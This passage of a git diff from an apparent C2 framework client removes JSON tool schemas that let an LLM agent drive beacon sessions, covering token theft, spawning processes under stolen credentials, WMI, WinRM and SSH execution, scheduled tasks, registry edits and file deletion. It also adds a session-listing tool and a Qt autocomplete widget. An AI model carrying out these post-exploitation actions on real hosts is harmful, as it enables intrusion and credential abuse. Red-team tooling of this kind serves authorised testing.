identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "action": { - "type": "string", - "description": "PwSh action accepted by init().", - "enum": [ - "init", - "run", - "import", - "script" - ] - }, - "input_file": { - "type": "string", - "description": "Custom runner DLL for init. Omit to use PowerShellRunner.dll.", - "default": "" - }, - "type_for_dll": { - "type": "string", - "description": "Fully-qualified runner type for custom init DLL.", - "default": "" - }, - "command": { - "type": "string", - "description": "PowerShell command text for run.", - "default": "" - }, - "script_path": { - "type": "string", - "description": "PowerShell script path for import or script. The module searches the release Tools directory.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "action" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/pwd.json b/C2Client/C2Client/assistant_agent/tools/schemas/pwd.json deleted file mode 100644 index 801ad10..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/pwd.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "pwd", - "description": "Return the beacon current working directory.", - "command_template": "pwd", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/registry.json b/C2Client/C2Client/assistant_agent/tools/schemas/registry.json deleted file mode 100644 index b4f5089..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/registry.json +++ /dev/null @@ -1,77 +0,0 @@ -{ - "name": "registry", - "description": "Manipulate local or remote Windows registry keys.", - "command_template": "registry {operation} [-s {server:q}] -h {root_key:q} -k {sub_key:q} [-n {value_name:q}] [-d {value_data:q}] [-t {value_type}]", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "operation": { - "type": "string", - "description": "Registry operation accepted by init().", - "enum": [ - "set", - "deleteValue", - "delete", - "delvalue", - "query", - "get", - "createKey", - "create", - "deleteKey", - "delkey" - ] - }, - "server": { - "type": "string", - "description": "Optional remote host passed with -s.", - "default": "" - }, - "root_key": { - "type": "string", - "description": "Root hive passed with -h, for example HKLM, HKCU, HKU, HKCR, or HKCC." - }, - "sub_key": { - "type": "string", - "description": "Subkey path passed with -k." - }, - "value_name": { - "type": "string", - "description": "Value name passed with -n. Required for set, query/get, and deleteValue/delete/delvalue.", - "default": "" - }, - "value_data": { - "type": "string", - "description": "Value data passed with -d for set.", - "default": "" - }, - "value_type": { - "type": "string", - "description": "Registry value type passed with -t. Defaults to REG_SZ in the module.", - "enum": [ - "REG_SZ", - "REG_DWORD", - "REG_QWORD", - "REG_EXPAND_SZ", - "" - ], - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "operation", - "root_key", - "sub_key" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/remove.json b/C2Client/C2Client/assistant_agent/tools/schemas/remove.json deleted file mode 100644 index e97ae1d..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/remove.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "remove", - "description": "Delete a file or directory recursively on the beacon host.", - "command_template": "remove {path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "path": { - "type": "string", - "description": "Path to remove." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/rev2self.json b/C2Client/C2Client/assistant_agent/tools/schemas/rev2self.json deleted file mode 100644 index f5b0259..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/rev2self.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "rev2self", - "description": "Return the beacon to its original token context.", - "command_template": "rev2self", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/reversePortForward.json b/C2Client/C2Client/assistant_agent/tools/schemas/reversePortForward.json deleted file mode 100644 index 6ae6fb8..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/reversePortForward.json +++ /dev/null @@ -1,42 +0,0 @@ -{ - "name": "reversePortForward", - "description": "Start a reverse port forward from the beacon to a local service.", - "command_template": "reversePortForward {remote_port} {local_host:q} {local_port}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "remote_port": { - "type": "integer", - "description": "Port to listen on remotely.", - "minimum": 1, - "maximum": 65535 - }, - "local_host": { - "type": "string", - "description": "Local host reachable from the teamserver side to forward traffic to." - }, - "local_port": { - "type": "integer", - "description": "Local port to forward traffic to.", - "minimum": 1, - "maximum": 65535 - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "remote_port", - "local_host", - "local_port" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/run.json b/C2Client/C2Client/assistant_agent/tools/schemas/run.json deleted file mode 100644 index b0f5e6e..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/run.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "run", - "description": "Execute a system command on the beacon host and return stdout/stderr.", - "command_template": "run {command:raw}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "command": { - "type": "string", - "description": "Command line to execute." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "command" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/screenShot.json b/C2Client/C2Client/assistant_agent/tools/schemas/screenShot.json deleted file mode 100644 index d422227..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/screenShot.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "screenShot", - "description": "Capture a screenshot from the beacon host.", - "command_template": "screenShot", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/script.json b/C2Client/C2Client/assistant_agent/tools/schemas/script.json deleted file mode 100644 index 3f06e30..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/script.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "script", - "description": "Upload and execute a local script file on the beacon host.", - "command_template": "script {script_path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "script_path": { - "type": "string", - "description": "Local script file path read by the TeamServer side before sending." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "script_path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/shell.json b/C2Client/C2Client/assistant_agent/tools/schemas/shell.json deleted file mode 100644 index ab8d711..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/shell.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "shell", - "description": "Start or use the persistent interactive shell.", - "command_template": "shell {command:raw?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "command": { - "type": "string", - "description": "Optional shell command. Leave empty to start the shell; use exit to stop it.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/spawnAs.json b/C2Client/C2Client/assistant_agent/tools/schemas/spawnAs.json deleted file mode 100644 index 987975a..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/spawnAs.json +++ /dev/null @@ -1,67 +0,0 @@ -{ - "name": "spawnAs", - "description": "Spawn a command under explicit credentials.", - "command_template": "spawnAs [-d {domain:q}] [-l {logon_type}] [-p {load_profile:flag}] [-w {show_window:flag}] [--netonly {net_only:flag}] {username:q} {password:q} -- {command:raw}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "username": { - "type": "string", - "description": "Username in Username, DOMAIN\\Username, or user@domain form." - }, - "password": { - "type": "string", - "description": "Password for the supplied user." - }, - "command": { - "type": "string", - "description": "Program and arguments to launch after the -- separator." - }, - "domain": { - "type": "string", - "description": "Optional domain override passed with -d.", - "default": "" - }, - "logon_type": { - "type": "integer", - "description": "Optional Windows logon type passed with -l. Supported by init(): 2 interactive or 9 new credentials.", - "enum": [ - 2, - 9 - ], - "default": 2 - }, - "load_profile": { - "type": "boolean", - "description": "Include -p/--with-profile to load the user profile.", - "default": false - }, - "show_window": { - "type": "boolean", - "description": "Include -w/--show-window.", - "default": false - }, - "net_only": { - "type": "boolean", - "description": "Include --netonly for LOGON32_LOGON_NEW_CREDENTIALS.", - "default": false - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "username", - "password", - "command" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/sshExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/sshExec.json deleted file mode 100644 index ed02271..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/sshExec.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "name": "sshExec", - "description": "Execute a command over SSH.", - "command_template": "sshExec -h {host:q} [-P {port}] -u {username:q} -p {password:q} -- {command:raw}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "host": { - "type": "string", - "description": "SSH host name or IP." - }, - "port": { - "type": "integer", - "description": "SSH port. Defaults to 22 in the module.", - "minimum": 1, - "maximum": 65535, - "default": 22 - }, - "username": { - "type": "string", - "description": "SSH username." - }, - "password": { - "type": "string", - "description": "SSH password." - }, - "command": { - "type": "string", - "description": "Remote command tail passed after --." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "host", - "username", - "password", - "command" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/stealToken.json b/C2Client/C2Client/assistant_agent/tools/schemas/stealToken.json deleted file mode 100644 index 944e56f..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/stealToken.json +++ /dev/null @@ -1,29 +0,0 @@ -{ - "name": "stealToken", - "description": "Steal and impersonate a token from a process id.", - "command_template": "stealToken {pid}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "pid": { - "type": "integer", - "description": "Process id whose token should be impersonated.", - "minimum": 0 - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "pid" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/taskScheduler.json b/C2Client/C2Client/assistant_agent/tools/schemas/taskScheduler.json deleted file mode 100644 index 1587301..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/taskScheduler.json +++ /dev/null @@ -1,63 +0,0 @@ -{ - "name": "taskScheduler", - "description": "Create and optionally run a scheduled task on a local or remote Windows host.", - "command_template": "taskScheduler -c {command:q} [-s {server:q}] [-t {task_name:q}] [-a {arguments:q}] [-u {username:q}] [-p {password:q}] [--no-run {skip_run:flag}] [--nocleanup {keep_task:flag}]", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "command": { - "type": "string", - "description": "Executable or command to run in the scheduled task." - }, - "server": { - "type": "string", - "description": "Optional target host passed with -s. Omit for localhost.", - "default": "" - }, - "task_name": { - "type": "string", - "description": "Optional task name passed with -t. The module chooses a random name if omitted.", - "default": "" - }, - "arguments": { - "type": "string", - "description": "Optional command arguments passed with -a.", - "default": "" - }, - "username": { - "type": "string", - "description": "Optional DOMAIN\\user for task registration passed with -u.", - "default": "" - }, - "password": { - "type": "string", - "description": "Optional password passed with -p.", - "default": "" - }, - "skip_run": { - "type": "boolean", - "description": "Include --no-run to register the task without running it.", - "default": false - }, - "keep_task": { - "type": "boolean", - "description": "Include --nocleanup to keep the task after it starts.", - "default": false - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "command" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/tree.json b/C2Client/C2Client/assistant_agent/tools/schemas/tree.json deleted file mode 100644 index 8e5f433..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/tree.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "tree", - "description": "Recursively list a directory tree on a beacon host. Omit path for the current working directory.", - "command_template": "tree {path:q?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "path": { - "type": "string", - "description": "Directory root to inspect. Leave empty for the current working directory.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/upload.json b/C2Client/C2Client/assistant_agent/tools/schemas/upload.json deleted file mode 100644 index 2c7ef49..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/upload.json +++ /dev/null @@ -1,33 +0,0 @@ -{ - "name": "upload", - "description": "Upload a local file from the operator machine to a beacon host.", - "command_template": "upload {local_path:q} {remote_path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "local_path": { - "type": "string", - "description": "Path on the operator machine." - }, - "remote_path": { - "type": "string", - "description": "Destination path on the beacon host." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "local_path", - "remote_path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/whoami.json b/C2Client/C2Client/assistant_agent/tools/schemas/whoami.json deleted file mode 100644 index 7bbf44c..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/whoami.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "whoami", - "description": "Print the current beacon user context and group membership.", - "command_template": "whoami", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/winRm.json b/C2Client/C2Client/assistant_agent/tools/schemas/winRm.json deleted file mode 100644 index f0a4ff5..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/winRm.json +++ /dev/null @@ -1,53 +0,0 @@ -{ - "name": "winRm", - "description": "Execute a command through WinRM.", - "command_template": "winRm {auth_mode} {username:q?} {password:q?} {target:q} {command:raw?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "auth_mode": { - "type": "string", - "description": "Authentication mode accepted by init(): -u explicit credentials, -k Kerberos/current ticket, or -n no password/current token.", - "enum": [ - "-u", - "-k", - "-n" - ] - }, - "username": { - "type": "string", - "description": "DOMAIN\\Username for -u mode.", - "default": "" - }, - "password": { - "type": "string", - "description": "Password for -u mode.", - "default": "" - }, - "target": { - "type": "string", - "description": "Target host name or IP." - }, - "command": { - "type": "string", - "description": "Optional remote command tail.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "auth_mode", - "target" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/wmiExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/wmiExec.json deleted file mode 100644 index 4e2347c..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/wmiExec.json +++ /dev/null @@ -1,58 +0,0 @@ -{ - "name": "wmiExec", - "description": "Execute a command through WMI.", - "command_template": "wmiExec {auth_mode} {username:q?} {password:q?} {dc:q?} {target:q} {command:raw}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "auth_mode": { - "type": "string", - "description": "Authentication mode accepted by init(): -u explicit credentials, -k Kerberos using a DC, or -n no password/current token.", - "enum": [ - "-u", - "-k", - "-n" - ] - }, - "username": { - "type": "string", - "description": "DOMAIN\\Username for -u mode.", - "default": "" - }, - "password": { - "type": "string", - "description": "Password for -u mode.", - "default": "" - }, - "dc": { - "type": "string", - "description": "Domain controller or DOMAIN\\dc value for -k mode.", - "default": "" - }, - "target": { - "type": "string", - "description": "Target host name or IP." - }, - "command": { - "type": "string", - "description": "Remote command tail." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "auth_mode", - "target", - "command" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/session_state_tool.py b/C2Client/C2Client/assistant_agent/tools/session_state_tool.py new file mode 100644 index 0000000..d8247cf --- /dev/null +++ b/C2Client/C2Client/assistant_agent/tools/session_state_tool.py @@ -0,0 +1,104 @@ +from __future__ import annotations + +from dataclasses import dataclass +from typing import Any + +from agent_core.execution_context import ExecutionContext +from agent_core.llm.base import LLMToolDefinition +from agent_core.tools import build_tool_definition +from agent_core.types import ToolResult + + +@dataclass(slots=True) +class C2LiveSessionsTool: + grpc_client: Any + + name = "listLiveSessions" + description = "List live C2 sessions known by the TeamServer, with full beacon and listener hashes." + + def schema(self) -> LLMToolDefinition: + return build_tool_definition( + name=self.name, + description=self.description, + parameters={ + "type": "object", + "properties": { + "beacon_prefix": { + "type": "string", + "description": "Optional beacon hash prefix to resolve an operator short reference.", + }, + "include_killed": { + "type": "boolean", + "description": "Include killed sessions in the result.", + }, + }, + "additionalProperties": False, + }, + ) + + def execute(self, arguments: dict, context: ExecutionContext) -> ToolResult: + sessions = list_sessions( + self.grpc_client, + beacon_prefix=arguments.get("beacon_prefix", ""), + include_killed=bool(arguments.get("include_killed", False)), + ) + return ToolResult(ok=True, content=format_sessions(sessions)) + + +def list_sessions( + grpc_client: Any, + *, + beacon_prefix: str = "", + include_killed: bool = False, +) -> list[Any]: + if grpc_client is None or not hasattr(grpc_client, "listSessions"): + return [] + + prefix = str(beacon_prefix or "").strip() + sessions = [] + for session in grpc_client.listSessions(): + beacon_hash = str(getattr(session, "beacon_hash", "") or "") + killed = _is_truthy(getattr(session, "killed", False)) + if killed and not include_killed: + continue + if prefix and not beacon_hash.startswith(prefix): + continue + sessions.append(session) + return sessions + + +def format_sessions(sessions: list[Any]) -> str: + rows = [] + for session in sessions: + beacon_hash = str(getattr(session, "beacon_hash", "") or "").strip() + listener_hash = str(getattr(session, "listener_hash", "") or "").strip() + if not beacon_hash: + continue + rows.append( + { + "short": beacon_hash[:8], + "beacon": beacon_hash, + "listener": listener_hash, + "host": str(getattr(session, "hostname", "") or "").strip() or "-", + "user": str(getattr(session, "username", "") or "").strip() or "-", + "arch": str(getattr(session, "arch", "") or "").strip() or "-", + "os": str(getattr(session, "os", "") or "").strip() or "-", + "state": "killed" if _is_truthy(getattr(session, "killed", False)) else "live", + } + ) + + if not rows: + return "No matching live sessions." + + lines = ["short state beacon_hash listener_hash host user arch os"] + for row in rows: + lines.append( + "{short:<8} {state:<6} {beacon:<32} {listener:<32} {host} {user} {arch} {os}".format(**row) + ) + return "\n".join(lines) + + +def _is_truthy(value: Any) -> bool: + if isinstance(value, str): + return value.strip().lower() in {"1", "true", "yes", "y", "killed", "dead", "stop", "stopped"} + return bool(value) diff --git a/C2Client/C2Client/autocomplete.py b/C2Client/C2Client/autocomplete.py new file mode 100644 index 0000000..450758a --- /dev/null +++ b/C2Client/C2Client/autocomplete.py @@ -0,0 +1,392 @@ +from __future__ import annotations + +from dataclasses import dataclass +from typing import Callable, Iterable + +from PyQt6.QtCore import QEvent, Qt, QTimer, pyqtSignal +from PyQt6.QtWidgets import ( + QAbstractItemView, + QLineEdit, + QListWidget, + QListWidgetItem, + QSizePolicy, + QVBoxLayout, + QWidget, +) + +from .console_style import CONSOLE_COLORS, console_font + + +@dataclass(frozen=True) +class CompletionOption: + label: str + insert_text: str + full_text: str + has_children: bool = False + + +def completion_entry_text(entry: tuple) -> str: + return str(entry[0]).strip() if entry else "" + + +def completion_entry_children(entry: tuple) -> list[tuple]: + if len(entry) < 2 or entry[1] is None: + return [] + return entry[1] + + +def completion_entry_insert_text(entry: tuple) -> str: + if len(entry) >= 3: + insert_text = str(entry[2]).strip() + if insert_text: + return insert_text + return completion_entry_text(entry) + + +def _find_entry(entries: Iterable[tuple], token: str) -> tuple | None: + normalized_token = token.strip().lower() + if not normalized_token: + return None + for entry in entries: + label = completion_entry_text(entry).lower() + insert_text = completion_entry_insert_text(entry).lower() + if normalized_token in {label, insert_text}: + return entry + return None + + +def _entry_matches(entry: tuple, token: str) -> bool: + normalized_token = token.strip().lower() + if not normalized_token: + return True + label = completion_entry_text(entry).lower() + insert_text = completion_entry_insert_text(entry).lower() + return ( + label.startswith(normalized_token) + or insert_text.startswith(normalized_token) + or ("(" in label and normalized_token in label) + ) + + +def _options_for_level(entries: Iterable[tuple], prefix_parts: list[str], token: str = "") -> list[CompletionOption]: + options: list[CompletionOption] = [] + seen: set[str] = set() + for entry in entries: + if not _entry_matches(entry, token): + continue + label = completion_entry_text(entry) + insert_text = completion_entry_insert_text(entry) + if not label or not insert_text: + continue + full_parts = [*prefix_parts, insert_text] + full_text = " ".join(full_parts) + if full_text in seen: + continue + seen.add(full_text) + options.append( + CompletionOption( + label=label, + insert_text=insert_text, + full_text=full_text, + has_children=bool(completion_entry_children(entry)), + ) + ) + return options + + +def completion_options( + completion_data: list[tuple], + command_text: str, + cursor_position: int | None = None, + *, + descend_exact: bool = False, +) -> list[CompletionOption]: + text = command_text if cursor_position is None else command_text[:cursor_position] + if text is None: + text = "" + + trailing_space = text.endswith(" ") + tokens = text.split(" ") + if trailing_space: + path_tokens = [token for token in tokens[:-1] if token] + current_token = "" + else: + path_tokens = [token for token in tokens[:-1] if token] + current_token = tokens[-1] if tokens else "" + + level = completion_data + prefix_parts: list[str] = [] + for token in path_tokens: + entry = _find_entry(level, token) + if entry is None: + return [] + prefix_parts.append(completion_entry_insert_text(entry)) + level = completion_entry_children(entry) + + if current_token: + exact_entry = _find_entry(level, current_token) + if exact_entry is not None: + children = completion_entry_children(exact_entry) + if children and descend_exact: + return _options_for_level(children, [*prefix_parts, completion_entry_insert_text(exact_entry)]) + return [] + + return _options_for_level(level, prefix_parts, current_token) + + +class CompletionInput(QWidget): + returnPressed = pyqtSignal() + tabPressed = pyqtSignal() + completionAccepted = pyqtSignal(str) + + def __init__( + self, + parent=None, + *, + completion_data: list[tuple] | None = None, + completion_provider: Callable[[], list[tuple]] | None = None, + refresh_on_focus: bool = False, + max_visible_items: int = 8, + ): + super().__init__(parent) + self.completionData = list(completion_data or []) + self._completionProvider = completion_provider + self._refreshOnFocus = refresh_on_focus + self._maxVisibleItems = max(1, max_visible_items) + self._currentOptions: list[CompletionOption] = [] + self.setSizePolicy(QSizePolicy.Policy.Expanding, QSizePolicy.Policy.Maximum) + + self.lineEdit = QLineEdit(self) + self.lineEdit.setFont(console_font()) + self.lineEdit.setMinimumHeight(28) + self.lineEdit.installEventFilter(self) + self.lineEdit.textEdited.connect(self.scheduleCompletionPopup) + + self.dropdown = QListWidget(self) + self.dropdown.setObjectName("completionDropdown") + self.dropdown.setFont(console_font()) + self.dropdown.setFocusPolicy(Qt.FocusPolicy.NoFocus) + self.dropdown.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) + self.dropdown.setHorizontalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAlwaysOff) + self.dropdown.setUniformItemSizes(True) + self.dropdown.itemClicked.connect(self.acceptClickedCompletion) + self.dropdown.hide() + + layout = QVBoxLayout(self) + layout.setContentsMargins(0, 0, 0, 0) + layout.setSpacing(2) + layout.addWidget(self.lineEdit) + layout.addWidget(self.dropdown) + self.setFocusProxy(self.lineEdit) + self.applyStyle() + + def applyStyle(self) -> None: + self.setStyleSheet( + f""" + QLineEdit {{ + background-color: {CONSOLE_COLORS["background"]}; + color: {CONSOLE_COLORS["text"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + padding: 4px 6px; + selection-background-color: {CONSOLE_COLORS["selection"]}; + selection-color: {CONSOLE_COLORS["text"]}; + }} + QListWidget#completionDropdown {{ + background-color: {CONSOLE_COLORS["background"]}; + color: {CONSOLE_COLORS["text"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + outline: 0; + padding: 2px; + selection-background-color: {CONSOLE_COLORS["selection"]}; + }} + QListWidget#completionDropdown::item {{ + padding: 4px 6px; + }} + QListWidget#completionDropdown::item:selected {{ + background-color: {CONSOLE_COLORS["selection"]}; + color: {CONSOLE_COLORS["header"]}; + }} + """ + ) + + def refreshCompletions(self, force: bool = False) -> None: + if self._completionProvider is None: + return + completion_data = self._completionProvider() + if force or completion_data != self.completionData: + self.completionData = completion_data + self.hideCompletionPopup() + + def eventFilter(self, watched, event): + if watched is self.lineEdit: + if event.type() == QEvent.Type.FocusIn and self._refreshOnFocus: + self.refreshCompletions() + if event.type() == QEvent.Type.KeyPress: + key = event.key() + if key == Qt.Key.Key_Backtab or ( + key == Qt.Key.Key_Tab + and event.modifiers() & Qt.KeyboardModifier.ShiftModifier + ): + self.tabPressed.emit() + self.previousCompletion() + return True + if key == Qt.Key.Key_Tab: + self.tabPressed.emit() + self.nextCompletion() + return True + if key in (Qt.Key.Key_Return, Qt.Key.Key_Enter): + current_completion = None + if self.dropdown.isVisible(): + selected_row = self.dropdown.currentRow() + self._currentOptions = self.buildCompletionOptions(descend_exact=False) + if 0 <= selected_row < len(self._currentOptions): + current_completion = self._currentOptions[selected_row] + elif self._currentOptions: + current_completion = self._currentOptions[0] + if current_completion is not None and current_completion.full_text.strip() != self.text().strip(): + self.acceptCompletion(current_completion) + else: + self.hideCompletionPopup() + self.returnPressed.emit() + return True + if key == Qt.Key.Key_Escape and self.dropdown.isVisible(): + self.hideCompletionPopup() + return True + if key == Qt.Key.Key_Down and self.dropdown.isVisible(): + self.moveSelection(1) + return True + if key == Qt.Key.Key_Up and self.dropdown.isVisible(): + self.moveSelection(-1) + return True + return super().eventFilter(watched, event) + + def scheduleCompletionPopup(self, _text: str | None = None) -> None: + QTimer.singleShot(0, self.showCompletionPopup) + + def completionPrefix(self) -> str: + return self.text()[: self.cursorPosition()] + + def showCompletionPopup( + self, + _text: str | None = None, + allowEmpty: bool = False, + descendExact: bool = False, + ) -> bool: + prefix = self.completionPrefix() + if not prefix.strip() and not allowEmpty: + self.hideCompletionPopup() + return False + + self._currentOptions = self.buildCompletionOptions(descendExact) + if not self._currentOptions: + self.hideCompletionPopup() + return False + + self.dropdown.clear() + for index, option in enumerate(self._currentOptions): + item = QListWidgetItem(option.label) + item.setData(Qt.ItemDataRole.UserRole, index) + item.setToolTip(option.full_text) + self.dropdown.addItem(item) + + self.dropdown.setCurrentRow(0) + self.updateDropdownHeight() + self.dropdown.show() + return True + + def buildCompletionOptions(self, descend_exact: bool = False) -> list[CompletionOption]: + return completion_options( + self.completionData, + self.text(), + self.cursorPosition(), + descend_exact=descend_exact, + ) + + def hideCompletionPopup(self) -> None: + self.dropdown.hide() + self.dropdown.clear() + self._currentOptions = [] + + def updateDropdownHeight(self) -> None: + visible_rows = min(max(len(self._currentOptions), 1), self._maxVisibleItems) + row_height = max(self.dropdown.sizeHintForRow(0), self.dropdown.fontMetrics().height() + 8) + frame = 2 * self.dropdown.frameWidth() + self.dropdown.setMaximumHeight((row_height * visible_rows) + frame + 6) + + def moveSelection(self, step: int) -> None: + if not self._currentOptions: + return + current = self.dropdown.currentRow() + if current < 0: + current = 0 + next_row = (current + step) % len(self._currentOptions) + self.dropdown.setCurrentRow(next_row) + + def nextCompletion(self) -> None: + if not self.dropdown.isVisible(): + self.refreshCompletions() + self.showCompletionPopup(allowEmpty=True, descendExact=True) + return + self.moveSelection(1) + + def previousCompletion(self) -> None: + if not self.dropdown.isVisible(): + self.refreshCompletions() + if self.showCompletionPopup(allowEmpty=True, descendExact=True): + self.moveSelection(-1) + return + 